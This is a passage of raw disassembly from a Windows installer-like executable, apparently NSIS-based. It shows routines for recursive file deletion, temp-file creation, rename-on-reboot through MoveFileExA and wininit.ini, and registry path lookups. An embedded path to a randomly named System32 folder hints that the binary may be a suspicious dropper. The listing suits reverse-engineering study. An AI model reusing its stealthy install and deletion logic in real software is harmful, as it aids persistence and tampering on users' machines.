		mov	ebp, esp
		sub	esp, 148h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4055C8
		test	byte ptr [ebp+arg_4], 8
		mov	[ebp+var_8], eax
		jz	short loc_405351
		push	edi
		call	ds:dword_407140	; DeleteFileA
		neg	eax
		sbb	eax, eax
		inc	eax
		add	dword_42F4A8, eax
		jmp	loc_4054E2
; ---------------------------------------------------------------------------

loc_405351:				; CODE XREF: sub_40531D+1Bj
		push	ebx
		mov	ebx, [ebp+arg_4]
		and	ebx, 1
		mov	[ebp+var_4], ebx
		jz	short loc_40536F
		test	eax, eax
		jz	loc_405487
		test	byte ptr [ebp+arg_4], 2
		jz	loc_405487

loc_40536F:				; CODE XREF: sub_40531D+3Ej
		mov	esi, offset dword_42B8A8
		push	edi
		push	esi
		call	sub_4059DB
		test	ebx, ebx
		jz	short loc_40538C
		push	offset a_	; "\\*.*"
		push	esi
		call	sub_4059F7	; lstrcat
		jmp	short loc_405392
; ---------------------------------------------------------------------------

loc_40538C:				; CODE XREF: sub_40531D+60j
		push	edi
		call	sub_40552F

loc_405392:				; CODE XREF: sub_40531D+6Dj
		push	offset dword_409010
		push	edi
		call	sub_4059F7	; lstrcat
		push	edi
		call	sub_4059F1	; lstrlen
		mov	ebx, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	esi
		add	ebx, edi
		call	ds:dword_40713C	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40547D

loc_4053C1:				; CODE XREF: sub_40531D+151j
		lea	eax, [ebp+var_11C]
		push	3Fh
		push	eax
		lea	esi, [ebp+var_11C]
		call	sub_405513
		cmp	byte ptr [eax],	0
		jz	short loc_4053E3
		cmp	[ebp+var_18], 0
		jz	short loc_4053E3
		lea	esi, [ebp+var_18]

loc_4053E3:				; CODE XREF: sub_40531D+BBj
					; sub_40531D+C1j
		cmp	byte ptr [esi],	2Eh
		jnz	short loc_4053F9
		mov	al, [esi+1]
		test	al, al
		jz	short loc_40545C
		cmp	al, 2Eh
		jnz	short loc_4053F9
		cmp	byte ptr [esi+2], 0
		jz	short loc_40545C

loc_4053F9:				; CODE XREF: sub_40531D+C9j
					; sub_40531D+D4j
		push	esi
		push	ebx
		call	sub_4059DB
		mov	eax, [ebp+var_148]
		test	al, 10h
		jz	short loc_40541F
		mov	eax, [ebp+arg_4]
		and	eax, 3
		cmp	al, 3
		jnz	short loc_40545C
		push	[ebp+arg_4]
		push	edi
		call	sub_40531D
		jmp	short loc_40545C
; ---------------------------------------------------------------------------

loc_40541F:				; CODE XREF: sub_40531D+EBj
		and	al, 0FEh
		push	eax
		push	edi
		call	ds:dword_40708C	; SetFileAttributesA
		push	edi
		call	ds:dword_407140	; DeleteFileA
		test	eax, eax
		jnz	short loc_405454
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_40544C
		push	edi
		push	0FFFFFFF1h
		call	sub_404D7E
		push	0
		push	edi
		call	sub_405723
		jmp	short loc_40545C
; ---------------------------------------------------------------------------

loc_40544C:				; CODE XREF: sub_40531D+11Bj
		inc	dword_42F4A8
		jmp	short loc_40545C
; ---------------------------------------------------------------------------

loc_405454:				; CODE XREF: sub_40531D+115j
		push	edi
		push	0FFFFFFF2h
		call	sub_404D7E

loc_40545C:				; CODE XREF: sub_40531D+D0j
					; sub_40531D+DAj ...
		lea	eax, [ebp+var_148]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407138	; FindNextFileA
		test	eax, eax
		jnz	loc_4053C1
		push	[ebp+arg_0]
		call	ds:dword_407134	; FindClose

loc_40547D:				; CODE XREF: sub_40531D+9Ej
		cmp	[ebp+var_4], 0
		jz	short loc_405487
		and	byte ptr [ebx-1], 0

loc_405487:				; CODE XREF: sub_40531D+42j
					; sub_40531D+4Cj ...
		xor	esi, esi
		pop	ebx
		cmp	[ebp+var_4], esi
		jz	short loc_4054E2
		cmp	[ebp+var_8], esi
		jnz	short loc_40549C

loc_405494:				; CODE XREF: sub_40531D+1AAj
		inc	dword_42F4A8
		jmp	short loc_4054E2
; ---------------------------------------------------------------------------

loc_40549C:				; CODE XREF: sub_40531D+175j
		push	edi
		call	sub_405CB0
		test	eax, eax
		jz	short loc_4054E2
		push	edi
		call	sub_4054E8
		push	80h
		push	edi
		call	ds:dword_40708C	; SetFileAttributesA
		push	edi
		call	ds:dword_4070D0	; RemoveDirectoryA
		test	eax, eax
		jnz	short loc_4054DA
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_405494
		push	edi
		push	0FFFFFFF1h
		call	sub_404D7E
		push	esi
		push	edi
		call	sub_405723
		jmp	short loc_4054E2
; ---------------------------------------------------------------------------

loc_4054DA:				; CODE XREF: sub_40531D+1A4j
		push	edi
		push	0FFFFFFE5h
		call	sub_404D7E

loc_4054E2:				; CODE XREF: sub_40531D+2Fj
					; sub_40531D+170j ...
		pop	edi
		pop	esi
		leave
		retn	8
sub_40531D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054E8	proc near		; CODE XREF: sub_401439+39Dp
					; sub_4026FA+37p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4059F1	; lstrlen
		add	eax, esi
		push	eax
		push	esi
		call	ds:dword_4071D0	; CharPrevA
		cmp	byte ptr [eax],	5Ch
		jz	short loc_40550D
		push	offset dword_409010
		push	esi
		call	sub_4059F7	; lstrcat

loc_40550D:				; CODE XREF: sub_4054E8+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_4054E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405513	proc near		; CODE XREF: sub_401439+1B8p start+D0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		jmp	short loc_405526
; ---------------------------------------------------------------------------

loc_405519:				; CODE XREF: sub_405513+17j
		cmp	cl, [esp+arg_4]
		jz	short locret_40552C
		push	eax
		call	ds:dword_407214	; CharNextA

loc_405526:				; CODE XREF: sub_405513+4j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_405519

locret_40552C:				; CODE XREF: sub_405513+Aj
		retn	8
sub_405513	endp


; =============== S U B	R O U T	I N E =======================================



sub_40552F	proc near		; CODE XREF: sub_402C37:loc_402C98p
					; start+2A4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4059F1	; lstrlen
		add	eax, esi

loc_40553C:				; CODE XREF: sub_40552F+1Cj
		cmp	byte ptr [eax],	5Ch
		jz	short loc_40554D
		push	eax
		push	esi
		call	ds:dword_4071D0	; CharPrevA
		cmp	eax, esi
		ja	short loc_40553C

loc_40554D:				; CODE XREF: sub_40552F+10j
		and	byte ptr [eax],	0
		pop	esi
		retn	4
sub_40552F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405554	proc near		; CODE XREF: sub_401439+37Ap
					; sub_4020C0+18p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	al, [ecx]
		or	al, 20h
		cmp	word ptr [ecx],	5C5Ch
		jz	short loc_405575
		cmp	al, 61h
		jl	short loc_405571
		cmp	al, 7Ah
		jg	short loc_405571
		cmp	byte ptr [ecx+1], 3Ah
		jz	short loc_405575

loc_405571:				; CODE XREF: sub_405554+11j
					; sub_405554+15j
		xor	eax, eax
		jmp	short locret_405578
; ---------------------------------------------------------------------------

loc_405575:				; CODE XREF: sub_405554+Dj
					; sub_405554+1Bj
		xor	eax, eax
		inc	eax

locret_405578:				; CODE XREF: sub_405554+1Fj
		retn	4
sub_405554	endp


; =============== S U B	R O U T	I N E =======================================



sub_40557B	proc near		; CODE XREF: sub_401439+1A6p
					; sub_404201+5Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_407214
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	esi	; CharNextA
		mov	ebx, eax
		push	ebx
		call	esi	; CharNextA
		cmp	byte ptr [edi],	0
		jz	short loc_4055A1
		cmp	word ptr [ebx],	5C3Ah
		jnz	short loc_4055A1
		push	eax
		call	esi	; CharNextA
		jmp	short loc_4055C2
; ---------------------------------------------------------------------------

loc_4055A1:				; CODE XREF: sub_40557B+18j
					; sub_40557B+1Fj
		cmp	word ptr [edi],	5C5Ch
		jnz	short loc_4055C0
		push	2
		pop	esi

loc_4055AB:				; CODE XREF: sub_40557B+41j
		push	5Ch
		push	eax
		dec	esi
		call	sub_405513
		cmp	byte ptr [eax],	0
		jz	short loc_4055C0
		inc	eax
		test	esi, esi
		jnz	short loc_4055AB
		jmp	short loc_4055C2
; ---------------------------------------------------------------------------

loc_4055C0:				; CODE XREF: sub_40557B+2Bj
					; sub_40557B+3Cj
		xor	eax, eax

loc_4055C2:				; CODE XREF: sub_40557B+24j
					; sub_40557B+43j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40557B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055C8	proc near		; CODE XREF: start+19Bp sub_403542+94p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, offset dword_42BCA8
		push	esi
		call	sub_4059DB
		push	esi
		call	sub_40557B
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4055E9

loc_4055E5:				; CODE XREF: sub_4055C8+34j
					; sub_4055C8+38j ...
		xor	eax, eax
		jmp	short loc_40563B
; ---------------------------------------------------------------------------

loc_4055E9:				; CODE XREF: sub_4055C8+1Bj
		push	edi
		call	sub_405C17
		test	byte ptr dword_42F430, 80h
		jz	short loc_405602
		mov	al, [edi]
		test	al, al
		jz	short loc_4055E5
		cmp	al, 5Ch
		jz	short loc_4055E5

loc_405602:				; CODE XREF: sub_4055C8+2Ej
		sub	edi, esi
		jmp	short loc_40561A
; ---------------------------------------------------------------------------

loc_405606:				; CODE XREF: sub_4055C8+5Bj
		call	sub_405CB0
		test	eax, eax
		jz	short loc_405614
		test	byte ptr [eax],	10h
		jz	short loc_4055E5

loc_405614:				; CODE XREF: sub_4055C8+45j
		push	esi
		call	sub_40552F

loc_40561A:				; CODE XREF: sub_4055C8+3Cj
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	eax, edi
		push	esi
		jg	short loc_405606
		call	sub_4054E8
		push	esi
		call	ds:dword_407080	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx

loc_40563B:				; CODE XREF: sub_4055C8+1Fj
		pop	edi
		pop	esi
		retn	4
sub_4055C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405640	proc near		; CODE XREF: sub_405723+11Cp
					; sub_405723+188p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		call	sub_4059F1	; lstrlen
		mov	edi, eax
		mov	esi, [esp+0Ch+arg_0]
		jmp	short loc_405676
; ---------------------------------------------------------------------------

loc_405654:				; CODE XREF: sub_405640+3Ej
		push	[esp+0Ch+arg_4]
		mov	bl, [edi+esi]
		and	byte ptr [edi+esi], 0
		push	esi
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		mov	[edi+esi], bl
		jz	short loc_405688
		push	esi
		call	ds:dword_407214	; CharNextA
		mov	esi, eax

loc_405676:				; CODE XREF: sub_405640+12j
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	eax, edi
		jge	short loc_405654
		xor	eax, eax

loc_405682:				; CODE XREF: sub_405640+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------

loc_405688:				; CODE XREF: sub_405640+2Bj
		mov	eax, esi
		jmp	short loc_405682
sub_405640	endp


; =============== S U B	R O U T	I N E =======================================



sub_40568C	proc near		; CODE XREF: sub_4026FA+BDp
					; sub_402C37+C1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jle	short loc_4056A8
		mov	eax, [esp+4+arg_4]
		sub	eax, ecx

loc_40569F:				; CODE XREF: sub_40568C+1Aj
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_40569F

loc_4056A8:				; CODE XREF: sub_40568C+Bj
		pop	esi
		retn	0Ch
sub_40568C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056AC	proc near		; CODE XREF: sub_401439+411p
					; sub_4021F6+332p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		call	ds:dword_407080	; GetFileAttributesA
		mov	ecx, eax
		push	0
		inc	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[esp+8+arg_8]
		push	0
		push	1
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	ds:dword_4070D4	; CreateFileA
		retn	0Ch
sub_4056AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056DB	proc near		; CODE XREF: sub_401439+35Ap
					; sub_403132+2Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	64h
		pop	edi

loc_4056E6:				; CODE XREF: sub_4056DB+39j
		dec	edi
		mov	[ebp+arg_0], 61736Eh
		call	ds:dword_40709C	; GetTickCount
		push	1Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		push	esi
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		push	[ebp+arg_4]
		add	byte ptr [ebp+arg_0+2],	dl
		call	ds:dword_4070D8	; GetTempFileNameA
		test	eax, eax
		jnz	short loc_40571F
		test	edi, edi
		jnz	short loc_4056E6
		and	byte ptr [esi],	0

loc_405719:				; CODE XREF: sub_4056DB+46j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------

loc_40571F:				; CODE XREF: sub_4056DB+35j
		mov	eax, esi
		jmp	short loc_405719
sub_4056DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_405723	proc near		; CODE XREF: sub_401439+2BAp
					; start+288p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset aMovefileexa ; "MoveFileExA"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		test	eax, eax
		mov	esi, [esp+10h+arg_4]
		jz	short loc_40574F
		push	5
		push	esi
		push	[esp+18h+arg_0]
		call	eax
		test	eax, eax
		jnz	loc_405895

loc_40574F:				; CODE XREF: sub_405723+19j
		mov	ebx, ds:dword_407070
		mov	dword_42CA30, 4C554Eh
		test	esi, esi
		mov	edi, 400h
		mov	ebp, offset dword_42CA30
		jz	short loc_405793
		push	1
		push	0
		push	esi
		call	sub_4056AC
		push	eax
		call	ds:dword_407060	; CloseHandle
		push	edi
		push	ebp
		push	esi
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_40589B
		cmp	eax, edi
		jg	loc_40589B

loc_405793:				; CODE XREF: sub_405723+48j
		mov	esi, offset dword_42C4A8
		push	edi
		push	esi
		push	[esp+18h+arg_0]
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_40589B
		cmp	eax, edi
		jg	loc_40589B
		push	esi
		push	ebp
		push	offset aSS_0	; "%s=%s\r\n"
		push	offset dword_42C0A8
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 10h
		mov	ebx, eax
		push	3F0h
		push	esi
		call	ds:dword_4070B0	; GetWindowsDirectoryA
		push	offset aWininit_ini ; "\\wininit.ini"
		push	esi
		call	sub_4059F7	; lstrcat
		xor	eax, eax
		push	eax
		push	8000080h
		push	4
		push	eax
		push	eax
		push	0C0000000h
		push	esi
		call	ds:dword_4070D4	; CreateFileA
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_405895
		push	0
		push	ebp
		call	ds:dword_407094	; GetFileSize
		mov	edi, eax
		lea	eax, [edi+ebx+0Ah]
		push	eax
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_40588E
		lea	eax, [esp+10h+arg_4]
		push	0
		push	eax
		push	edi
		push	esi
		push	ebp
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_40588E
		cmp	edi, [esp+10h+arg_4]
		jnz	short loc_40588E
		push	offset aRename	; "[Rename]\r\n"
		push	esi
		call	sub_405640
		test	eax, eax
		jnz	short loc_4058A2
		lea	eax, [esi+edi]
		push	offset aRename	; "[Rename]\r\n"
		push	eax
		call	sub_4059DB
		add	edi, 0Ah

loc_405859:				; CODE XREF: sub_405723+18Fj
		mov	eax, edi

loc_40585B:				; CODE XREF: sub_405723+1AAj
		push	ebx
		add	eax, esi
		push	offset dword_42C0A8
		push	eax
		call	sub_40568C
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebp
		call	ds:dword_407130	; SetFilePointer
		lea	eax, [esp+10h+arg_4]
		push	0
		add	edi, ebx
		push	eax
		push	edi
		push	esi
		push	ebp
		call	ds:dword_407124	; WriteFile
		push	esi
		call	ds:dword_4070F4	; GlobalFree

loc_40588E:				; CODE XREF: sub_405723+FAj
					; sub_405723+10Ej ...
		push	ebp
		call	ds:dword_407060	; CloseHandle

loc_405895:				; CODE XREF: sub_405723+26j
					; sub_405723+D8j
		inc	dword_42F4B0

loc_40589B:				; CODE XREF: sub_405723+62j
					; sub_405723+6Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------

loc_4058A2:				; CODE XREF: sub_405723+123j
		add	eax, 0Ah
		push	offset asc_409308 ; "\n["
		push	eax
		call	sub_405640
		test	eax, eax
		jz	short loc_405859
		inc	eax
		lea	edx, [esi+edi]
		cmp	eax, edx
		mov	ecx, eax
		jnb	short loc_4058CB

loc_4058BE:				; CODE XREF: sub_405723+1A6j
		mov	dl, [ecx]
		mov	[ecx+ebx], dl
		inc	ecx
		lea	edx, [esi+edi]
		cmp	ecx, edx
		jb	short loc_4058BE

loc_4058CB:				; CODE XREF: sub_405723+199j
		sub	eax, esi
		jmp	short loc_40585B
sub_405723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058CF	proc near		; CODE XREF: sub_403542+4Fp
					; sub_403542+6Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		lea	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_C]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	[ebp+arg_4]
		mov	[esi], bl
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_405933
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 400h
		push	eax
		lea	eax, [ebp+arg_C]
		push	esi
		push	eax
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	ds:dword_407000	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_405922
		cmp	[ebp+arg_C], 1
		jz	short loc_405924
		cmp	[ebp+arg_C], 2
		jz	short loc_405924

loc_405922:				; CODE XREF: sub_4058CF+45j
		mov	[esi], bl

loc_405924:				; CODE XREF: sub_4058CF+4Bj
					; sub_4058CF+51j
		push	[ebp+arg_4]
		mov	[esi+3FFh], bl
		call	ds:dword_40701C	; RegCloseKey

loc_405933:				; CODE XREF: sub_4058CF+24j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4058CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_405939	proc near		; CODE XREF: sub_401EE4+16p
					; sub_401F34+1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	offset aD	; "%d"
		push	[esp+8+arg_0]
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		retn	8
sub_405939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405952	proc near		; CODE XREF: sub_40136D+39p
					; sub_401439+91p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	byte ptr [ecx],	2Dh
		mov	[ebp+var_4], 1
		mov	al, 0Ah
		mov	bl, 39h
		jnz	short loc_405973
		inc	ecx
		or	[ebp+var_4], 0FFFFFFFFh

loc_405973:				; CODE XREF: sub_405952+1Aj
		cmp	byte ptr [ecx],	30h
		jnz	short loc_405994
		inc	ecx
		mov	dl, [ecx]
		cmp	dl, 30h
		jl	short loc_405989
		cmp	dl, 37h
		jg	short loc_405989
		mov	al, 8
		mov	bl, 37h

loc_405989:				; CODE XREF: sub_405952+2Cj
					; sub_405952+31j
		and	dl, 0DFh
		cmp	dl, 58h
		jnz	short loc_405994
		mov	al, 10h
		inc	ecx

loc_405994:				; CODE XREF: sub_405952+24j
					; sub_405952+3Dj ...
		movsx	edx, byte ptr [ecx]
		inc	ecx
		cmp	edx, 30h
		jl	short loc_4059A9
		movsx	esi, bl
		cmp	edx, esi
		jg	short loc_4059A9
		sub	edx, 30h
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------

loc_4059A9:				; CODE XREF: sub_405952+49j
					; sub_405952+50j
		cmp	al, 10h
		jnz	short loc_4059CE
		mov	esi, edx
		and	esi, 0FFFFFFDFh
		cmp	esi, 41h
		jl	short loc_4059CE
		cmp	esi, 46h
		jg	short loc_4059CE
		and	edx, 7
		add	edx, 9

loc_4059C2:				; CODE XREF: sub_405952+55j
		movsx	esi, al
		imul	esi, edi
		add	esi, edx
		mov	edi, esi
		jmp	short loc_405994
; ---------------------------------------------------------------------------

loc_4059CE:				; CODE XREF: sub_405952+59j
					; sub_405952+63j ...
		mov	eax, [ebp+var_4]
		imul	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405952	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059DB	proc near		; CODE XREF: sub_401439+209p
					; sub_401439+24Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	400h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4070B8	; lstrcpyn
		retn	8
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4059F1	proc near		; CODE XREF: sub_401439+257p
					; sub_401439+261p ...
		jmp	ds:dword_4070DC
sub_4059F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4059F7	proc near		; CODE XREF: sub_401439+276p
					; sub_401439+27Fp ...
		jmp	ds:dword_4070E0
sub_4059F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059FD	proc near		; CODE XREF: sub_401439+441p
					; sub_401439+4F0p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		test	ebx, ebx
		jge	short loc_405A1E
		mov	ecx, dword_42EBFC
		lea	eax, ds:4[ebx*4]
		sub	ecx, eax
		mov	ebx, [ecx]

loc_405A1E:				; CODE XREF: sub_4059FD+Ej
		mov	eax, dword_42F458
		mov	ecx, [ebp+arg_0]
		add	ebx, eax
		mov	eax, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		sub	ecx, eax
		mov	edi, eax
		cmp	ecx, 800h
		jnb	loc_405BF1
		mov	edi, [ebp+arg_0]
		and	[ebp+arg_0], 0
		jmp	loc_405BF1
; ---------------------------------------------------------------------------

loc_405A49:				; CODE XREF: sub_4059FD+1FBj
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	loc_405BFE
		inc	ebx
		cmp	cl, 0FCh
		jbe	loc_405BE4
		movsx	eax, byte ptr [ebx+1]
		movsx	ecx, byte ptr [ebx]
		mov	esi, eax
		mov	edx, ecx
		and	esi, 7Fh
		and	edx, 7Fh
		shl	esi, 7
		or	esi, edx
		mov	edx, 8000h
		mov	[ebp+var_18], ecx
		mov	[ebp+var_10], eax
		or	ecx, edx
		or	eax, edx
		inc	ebx
		mov	[ebp+var_14], ecx
		inc	ebx
		cmp	byte ptr [ebp+arg_4+3],	0FEh
		mov	[ebp+var_C], eax
		jnz	loc_405B8F
		and	[ebp+arg_4], 0
		and	byte ptr [edi],	0
		push	4
		pop	esi
		cmp	[ebp+var_10], esi
		jnz	short loc_405AB2
		mov	[ebp+arg_4], offset aMicrosoftInter ; "\\Microsoft\\Internet Explorer\\Quick Laun"...
		jmp	short loc_405B2A
; ---------------------------------------------------------------------------

loc_405AB2:				; CODE XREF: sub_4059FD+AAj
		mov	eax, [ebp+var_18]
		cmp	eax, 2Bh
		jnz	short loc_405AD1
		push	edi
		push	offset aCommonfilesdir ; "CommonFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4058CF
		jmp	short loc_405B25
; ---------------------------------------------------------------------------

loc_405AD1:				; CODE XREF: sub_4059FD+BBj
		cmp	eax, 26h
		jnz	short loc_405B01
		push	edi
		push	offset aProgramfilesdi ; "ProgramFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4058CF
		cmp	byte ptr [edi],	0
		jnz	loc_405B87
		push	offset aCProgramFiles ;	"C:\\Program Files"
		push	edi
		call	sub_4059DB
		jmp	short loc_405B25
; ---------------------------------------------------------------------------

loc_405B01:				; CODE XREF: sub_4059FD+D7j
		cmp	eax, 25h
		jnz	short loc_405B14
		push	400h
		push	edi
		call	ds:dword_4070E4	; GetSystemDirectoryA
		jmp	short loc_405B25
; ---------------------------------------------------------------------------

loc_405B14:				; CODE XREF: sub_4059FD+107j
		cmp	eax, 24h
		jnz	short loc_405B2A
		push	400h
		push	edi
		call	ds:dword_4070B0	; GetWindowsDirectoryA

loc_405B25:				; CODE XREF: sub_4059FD+D2j
					; sub_4059FD+102j ...
		cmp	byte ptr [edi],	0
		jnz	short loc_405B87

loc_405B2A:				; CODE XREF: sub_4059FD+B3j
					; sub_4059FD+11Aj
		cmp	dword_42F4A4, 0
		jnz	short loc_405B36
		push	2
		pop	esi

loc_405B36:				; CODE XREF: sub_4059FD+134j
					; sub_4059FD+174j
		lea	eax, [ebp+var_4]
		dec	esi
		push	eax
		push	[ebp+esi*4+var_18]
		push	dword_42F424
		call	ds:dword_407164
		test	eax, eax
		jnz	short loc_405B6C
		push	edi
		push	[ebp+var_4]
		call	ds:dword_407150
		push	[ebp+var_4]
		mov	[ebp+var_8], eax
		call	sub_405238
		cmp	[ebp+var_8], 0
		jnz	short loc_405B73
		jmp	short loc_405B6F
; ---------------------------------------------------------------------------

loc_405B6C:				; CODE XREF: sub_4059FD+150j
		and	byte ptr [edi],	0

loc_405B6F:				; CODE XREF: sub_4059FD+16Dj
		test	esi, esi
		jnz	short loc_405B36

loc_405B73:				; CODE XREF: sub_4059FD+16Bj
		cmp	byte ptr [edi],	0
		jz	short loc_405B87
		cmp	[ebp+arg_4], 0
		jz	short loc_405B87
		push	[ebp+arg_4]
		push	edi
		call	sub_4059F7	; lstrcat

loc_405B87:				; CODE XREF: sub_4059FD+F1j
					; sub_4059FD+12Bj ...
		push	edi
		call	sub_405C17
		jmp	short loc_405BD5
; ---------------------------------------------------------------------------

loc_405B8F:				; CODE XREF: sub_4059FD+97j
		cmp	byte ptr [ebp+arg_4+3],	0FDh
		jnz	short loc_405BC3
		cmp	esi, 1Bh
		jnz	short loc_405BA8
		push	dword_42F424
		push	edi
		call	sub_405939
		jmp	short loc_405BB9
; ---------------------------------------------------------------------------

loc_405BA8:				; CODE XREF: sub_4059FD+19Bj
		mov	eax, esi
		shl	eax, 0Ah
		add	eax, offset dword_430000
		push	eax
		push	edi
		call	sub_4059DB

loc_405BB9:				; CODE XREF: sub_4059FD+1A9j
		add	esi, 0FFFFFFEBh
		cmp	esi, 6
		jnb	short loc_405BD5
		jmp	short loc_405B87
; ---------------------------------------------------------------------------

loc_405BC3:				; CODE XREF: sub_4059FD+196j
		cmp	byte ptr [ebp+arg_4+3],	0FFh
		jnz	short loc_405BD5
		or	eax, 0FFFFFFFFh
		sub	eax, esi
		push	eax
		push	edi
		call	sub_4059FD

loc_405BD5:				; CODE XREF: sub_4059FD+190j
					; sub_4059FD+1C2j ...
		push	edi
		call	sub_4059F1	; lstrlen
		add	edi, eax
		mov	eax, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		jmp	short loc_405BF1
; ---------------------------------------------------------------------------

loc_405BE4:				; CODE XREF: sub_4059FD+60j
		jnz	short loc_405BEE
		mov	cl, [ebx]
		mov	[edi], cl
		inc	edi
		inc	ebx
		jmp	short loc_405BF1
; ---------------------------------------------------------------------------

loc_405BEE:				; CODE XREF: sub_4059FD:loc_405BE4j
		mov	[edi], cl
		inc	edi

loc_405BF1:				; CODE XREF: sub_4059FD+3Aj
					; sub_4059FD+47j ...
		mov	cl, [ebx]
		test	cl, cl
